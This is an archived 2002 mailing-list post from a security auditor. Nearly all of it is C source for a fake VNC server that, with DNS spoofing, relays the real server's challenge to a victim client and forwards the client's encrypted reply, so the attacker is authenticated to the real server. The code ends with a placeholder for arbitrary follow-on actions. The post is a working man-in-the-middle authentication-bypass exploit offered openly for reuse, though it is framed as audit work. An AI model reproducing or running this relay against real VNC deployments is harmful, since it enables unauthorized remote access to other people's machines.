Vulnerability Development mailing list archives

VNC game


From: <rsmc () tid es>
Date: Fri, 29 Nov 2002 22:47:41 +0100



This is one piece of code I used in a security audit. 

In it, we got to fake entries in the DNS server of the machines
accessing one VNC server (inside the audited internal network), so I
just wrote this little troyan to demonstrate how we could bypass the
challenge - response mecanism imposed by VNC to protect password from
being sniffed.

I hope it can be useful for someone X-)


#include <netinet/in.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>

#define VNCPORT 5900
#define VNCSERVER "x.x.x.x"
#define QUEUE 8
#define BUFSIZ 512

typedef char rfbProtocolVersionMsg[13];
#define sz_rfbProtocolVersionMsg 12

int main (int argc, char **argv) {

        int sockfd, clientfd, vncfd;
        int nbytes = 0;
        struct sockaddr_in server, client, vnc;
        int len = sizeof (client);
        char buf [BUFSIZ];
        
        if ( (sockfd = socket (AF_INET, SOCK_STREAM, 0) ) == -1) {
                perror ("socket");
                exit (-1);
        }

        bzero (&server, sizeof (server) );
        server.sin_family = AF_INET;
        server.sin_addr.s_addr = htonl (INADDR_ANY);
        server.sin_port = htons (VNCPORT);
        
        /* this is the fake VNC server */
        if (bind (sockfd, (struct sockaddr *) &server, 
        sizeof (server) ) == -1) {
                perror ("bind");
                exit (-1);
        }

        listen (sockfd, QUEUE);

        if ( (clientfd = accept (sockfd, 
        (struct sockaddr *) &client, &len) ) == -1) {
                perror ("accept");
                exit (-1);
        }

        strcpy (buf, "RFB 003.003\n");
        
        /* we must send VNC version number (from protocol) */
        if (write (clientfd, buf, strlen (buf) ) < strlen (buf) ) {
                perror ("write");
                exit (-1);
        }

        /* we also must read VNC version number (from protocol) */
        if ( (nbytes = read (clientfd, buf, BUFSIZ) ) <= 0) {
                perror ("read");
                exit (-1);
        }

        buf [nbytes] = 0;
        printf ("version -> %s\n", buf);
        
        buf [0] = 0x00;
        buf [1] = 0x00;
        buf [2] = 0x00;
        buf [3] = 0x02;

        /* we send the authentication method code to the client */
        if (write (clientfd, buf, 4) < 4) {
                perror ("write");
                exit (-1);
        }
        
        if ( (vncfd = socket (AF_INET, SOCK_STREAM, 0) ) == -1) {
                perror ("socket");
                exit (-1);
        }

        bzero (&vnc, sizeof (vnc) );
        vnc.sin_family = AF_INET;
        vnc.sin_addr.s_addr = inet_addr (VNCSERVER);
        vnc.sin_port = htons (VNCPORT);

        /* we connect to the real VNC server */
        if (connect (vncfd, (struct sockaddr *) &vnc, 
        sizeof (vnc) ) == -1) {
                perror ("connect");
                exit (-1);
        }

        /* again, we read version number from the VNC server */
        if ( (nbytes = read (vncfd, buf, BUFSIZ) ) <= 0) {
                perror ("read");
                exit (-1);
        }

        strcpy (buf, "RFB 003.003\n");
        
        /* and we send ours */
        if (write (vncfd, buf, strlen (buf) ) < strlen (buf) ) {
                perror ("write");
                exit (-1);
        }

        /* we now read authenticarion method code from VNC server */
        if ( (nbytes = read (vncfd, buf, BUFSIZ) ) <= 0) {
                perror ("read");
                exit (-1);
        }

        /* here is the challenge from server */
        if ( (nbytes = read (vncfd, buf, BUFSIZ) ) <= 0) {
                perror ("read");
                exit (-1);
        }
        
        /* we send the challenge to the victim client */
        if (write (clientfd, buf, 16) < 16) {
                perror ("write");
                exit (-1);
        } 

        /* we have the encrypted password from the client */
        if ( (nbytes = read (clientfd, buf, BUFSIZ) ) <= 0) {
                perror ("read");
                exit (-1);
        }

        /* we send the encrypted password to the VNC server */
        if (write (vncfd, buf, 16) < 16) {
                perror ("write");
                exit (-1);
        } 

        /* we read the result from the authentication process */
        if (read (vncfd, buf, BUFSIZ) < 4) {
                perror ("read");
                exit (-1);
        }

        /* at this point we should be authenticated */
        /* place whatever code you want here */

        close (clientfd);
        close (sockfd);
        close (vncfd);

        return 0;
}



------------------------------------------------------------
                        

Rafael San Miguel Carrasco
rsmc () tid es

Division de Infraestructura y Seguridad en Redes IP
Telefonica I+D

------------------------------------------------------------


Current thread: